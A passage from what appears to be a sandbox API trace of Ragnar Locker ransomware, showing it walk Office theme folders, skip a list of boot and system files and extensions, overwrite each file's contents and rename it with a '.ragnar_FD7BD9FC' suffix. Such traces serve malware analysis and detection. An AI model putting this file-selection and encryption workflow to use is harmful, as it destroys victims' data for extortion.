lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe14, lpOverlapped=0x0) returned 1 [0094.482] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe14, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.482] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.482] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.482] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.482] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.482] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.482] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.482] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.482] GetProcessHeap () returned 0x580000 [0094.482] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.482] CloseHandle (hObject=0x10c) returned 1 [0094.482] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml" [0094.482] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml.ragnar_FD7BD9FC" [0094.482] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.483] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xdf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 1 [0094.483] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.483] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Waveform.xml" | out: lpString1="Waveform.xml") returned="Waveform.xml" [0094.483] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml") returned=".xml" [0094.483] lstrcmpiW (lpString1="Waveform.xml", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0094.483] lstrcmpiW (lpString1="Waveform.xml", lpString2="autorun.inf") returned 1 [0094.483] lstrcmpiW (lpString1="Waveform.xml", lpString2="boot.ini") returned 1 [0094.483] lstrcmpiW (lpString1="Waveform.xml", lpString2="bootfont.bin") returned 1 [0094.483] lstrcmpiW (lpString1="Waveform.xml", lpString2="bootsect.bak") returned 1 [0094.483] lstrcmpiW (lpString1="Waveform.xml", lpString2="bootmgr") returned 1 [0094.483] lstrcmpiW (lpString1="Waveform.xml", lpString2="bootmgr.efi") returned 1 [0094.483] lstrcmpiW (lpString1="Waveform.xml", lpString2="bootmgfw.efi") returned 1 [0094.483] lstrcmpiW (lpString1="Waveform.xml", lpString2="desktop.ini") returned 1 [0094.483] lstrcmpiW (lpString1="Waveform.xml", lpString2="iconcache.db") returned 1 [0094.483] lstrcmpiW (lpString1="Waveform.xml", lpString2="ntldr") returned 1 [0094.484] lstrcmpiW (lpString1="Waveform.xml", lpString2="ntuser.dat") returned 1 [0094.484] lstrcmpiW (lpString1="Waveform.xml", lpString2="ntuser.dat.log") returned 1 [0094.484] lstrcmpiW (lpString1="Waveform.xml", lpString2="ntuser.ini") returned 1 [0094.484] lstrcmpiW (lpString1="Waveform.xml", lpString2="thumbs.db") returned 1 [0094.484] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.484] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.484] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.484] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.484] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.484] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.484] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml")) returned 0x20 [0094.484] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.485] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3577) returned 1 [0094.485] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xdf0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.485] GetProcessHeap () returned 0x580000 [0094.485] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.485] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.486] VirtualAlloc (lpAddress=0x0, dwSize=0xdf9, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.486] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.486] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.486] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xdf9, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xdf9, lpOverlapped=0x0) returned 1 [0094.486] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.487] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xdf9, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.487] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xdf9, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xdf9, lpOverlapped=0x0) returned 1 [0094.487] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xdf9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.487] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.487] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xdf9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.487] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.487] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.487] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.487] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.487] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.487] GetProcessHeap () returned 0x580000 [0094.487] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.487] CloseHandle (hObject=0x10c) returned 1 [0094.488] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml" [0094.488] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml.ragnar_FD7BD9FC" [0094.488] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.488] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xdf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 0 [0094.488] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0094.488] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x334aca00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x334aca00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2a23c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.thmx", cAlternateFileName="TREK~1.THM")) returned 1 [0094.488] lstrcmpiW (lpString1="Trek.thmx", lpString2=".") returned 1 [0094.488] lstrcmpiW (lpString1="Trek.thmx", lpString2="..") returned 1 [0094.488] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36de5100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x36de5100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xfc70, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.thmx", cAlternateFileName="URBAN~1.THM")) returned 1 [0094.488] lstrcmpiW (lpString1="Urban.thmx", lpString2=".") returned 1 [0094.489] lstrcmpiW (lpString1="Urban.thmx", lpString2="..") returned 1 [0094.489] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a71d800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3a71d800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x12600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.thmx", cAlternateFileName="VERVE~1.THM")) returned 1 [0094.489] lstrcmpiW (lpString1="Verve.thmx", lpString2=".") returned 1 [0094.489] lstrcmpiW (lpString1="Verve.thmx", lpString2="..") returned 1 [0094.489] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d03f100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d03f100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2c681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.thmx", cAlternateFileName="WAVEFO~1.THM")) returned 1 [0094.489] lstrcmpiW (lpString1="Waveform.thmx", lpString2=".") returned 1 [0094.489] lstrcmpiW (lpString1="Waveform.thmx", lpString2="..") returned 1 [0094.489] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d03f100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d03f100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2c681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.thmx", cAlternateFileName="WAVEFO~1.THM")) returned 0 [0094.489] FindClose (in: hFindFile=0x5a12e8 | out: hFindFile=0x5a12e8) returned 1 [0094.489] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x89f7aea0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x89f7aea0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12e8 [0094.489] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x89f7aea0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x89f7aea0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.489] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd0aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.thmx", cAlternateFileName="ADJACE~1.THM")) returned 1 [0094.489] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.489] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Adjacency.thmx" | out: lpString1="Adjacency.thmx") returned="Adjacency.thmx" [0094.489] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx") returned=".thmx" [0094.489] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.489] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="autorun.inf") returned -1 [0094.489] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="boot.ini") returned -1 [0094.489] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="bootfont.bin") returned -1 [0094.489] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="bootsect.bak") returned -1 [0094.489] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="bootmgr") returned -1 [0094.489] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="bootmgr.efi") returned -1 [0094.489] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="bootmgfw.efi") returned -1 [0094.489] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="desktop.ini") returned -1 [0094.489] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="iconcache.db") returned -1 [0094.489] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="ntldr") returned -1 [0094.489] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="ntuser.dat") returned -1 [0094.489] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="ntuser.dat.log") returned -1 [0094.489] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="ntuser.ini") returned -1 [0094.490] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="thumbs.db") returned -1 [0094.490] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.490] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.490] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.490] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.490] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.490] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.490] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0094.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx")) returned 0x20 [0094.490] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.490] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=53418) returned 1 [0094.490] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xd0a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.490] GetProcessHeap () returned 0x580000 [0094.490] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.490] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.492] VirtualAlloc (lpAddress=0x0, dwSize=0xd0aa, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.493] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.493] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.493] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd0aa, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0xd0aa, lpOverlapped=0x0) returned 1 [0094.496] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.497] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd0aa, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.497] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd0aa, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0xd0aa, lpOverlapped=0x0) returned 1 [0094.497] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd0aa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.497] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.498] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xd0aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.498] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.498] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.498] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.498] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.498] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.498] GetProcessHeap () returned 0x580000 [0094.498] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.498] CloseHandle (hObject=0x98) returned 1 [0094.498] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx" [0094.498] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx.ragnar_FD7BD9FC" [0094.498] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.499] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62f9d200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x62f9d200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x11098, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.thmx", cAlternateFileName="ANGLES~1.THM")) returned 1 [0094.499] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.499] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Angles.thmx" | out: lpString1="Angles.thmx") returned="Angles.thmx" [0094.499] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx") returned=".thmx" 